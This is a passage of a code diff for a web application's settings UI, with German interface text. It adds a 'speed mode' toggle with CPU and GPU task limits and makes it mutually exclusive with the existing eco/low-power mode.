|| 0)); }); @@ -3150,7 +3162,10 @@ try { state.settingsDraft.learning_enabled = $('settingsLearning').checked; state.settingsDraft.thinking_enabled = $('settingsThinking').checked; - state.settingsDraft.low_power_mode = $('settingsLowPower').checked; + state.settingsDraft.low_power_mode = $('settingsLowPower').checked && !$('settingsSpeedMode')?.checked; + state.settingsDraft.speed_mode = Boolean($('settingsSpeedMode')?.checked); + state.settingsDraft.speed_cpu_tasks = Math.max(1, Math.min(256, Math.trunc(Number($('settingsSpeedCPU')?.value || 1)))); + state.settingsDraft.speed_gpu_tasks = Math.max(1, Math.min(64, Math.trunc(Number($('settingsSpeedGPU')?.value || 1)))); state.settingsDraft.processing_mode = state.settingsDraft.processing_mode === 'clustered' ? 'clustered' : 'precise'; state.settingsDraft.max_display_nodes = Math.max(0, Math.min(500000, Math.trunc(Number($('settingsMaxDisplayNodes').value) || 0))); state.settingsDraft.autonomous_research_enabled = Boolean($('settingsAutonomousResearch')?.checked); @@ -3241,6 +3256,7 @@ button.disabled = true; const previous = Boolean(state.runtimeSettings.low_power_mode); state.runtimeSettings.low_power_mode = !previous; + if (state.runtimeSettings.low_power_mode) state.runtimeSettings.speed_mode = false; applyPerformanceMode(state.runtimeSettings.low_power_mode, true); try { await persistRuntimeSettings(); @@ -3254,6 +3270,26 @@ } }); + $('toggleSpeed')?.addEventListener('click', async e => { + const button = e.currentTarget; + button.disabled = true; + const previous = Boolean(state.runtimeSettings.speed_mode); + state.runtimeSettings.speed_mode = !previous; + if (state.runtimeSettings.speed_mode) { + state.runtimeSettings.low_power_mode = false; + applyPerformanceMode(false, true); + } + try { + await persistRuntimeSettings(); + } catch (err) { + state.runtimeSettings.speed_mode = previous; + addLog({type: 'runtime.settings.failed', source: 'ui', phase: 'control', message: `Speed-Modus konnte nicht umgestellt werden: ${err.message}`, timestamp: new Date().toISOString()}); + } finally { + button.disabled = false; + syncRuntimeControls(); + } + }); + $('toggleLabels').addEventListener('click', e => { state.labels = !state.labels; e.currentTarget.classList.toggle('active', state.labels); diff --git a/internal/web/static/index.html b/internal/web/static/index.html index a72c629..1820371 100644 --- a/internal/web/static/index.html +++ b/internal/web/static/index.html @@ -59,6 +59,7 @@ + AGENTS @@ -105,6 +106,15 @@ Eco-Modus30 FPS, geringere Pixeldichte und günstigere Glow-Effekte. Aktivität, Rechercheanimationen und Fades bleiben sichtbar. + +
Speed ist ein Durchsatzmodus. Fehler-Cooldowns, HTTP-Timeouts, Graph-/SQLite-Locks, Research-Dedupe, Tagesbudgets und Docker-Controller-Sicherheitsgrenzen werden nicht aufgehoben.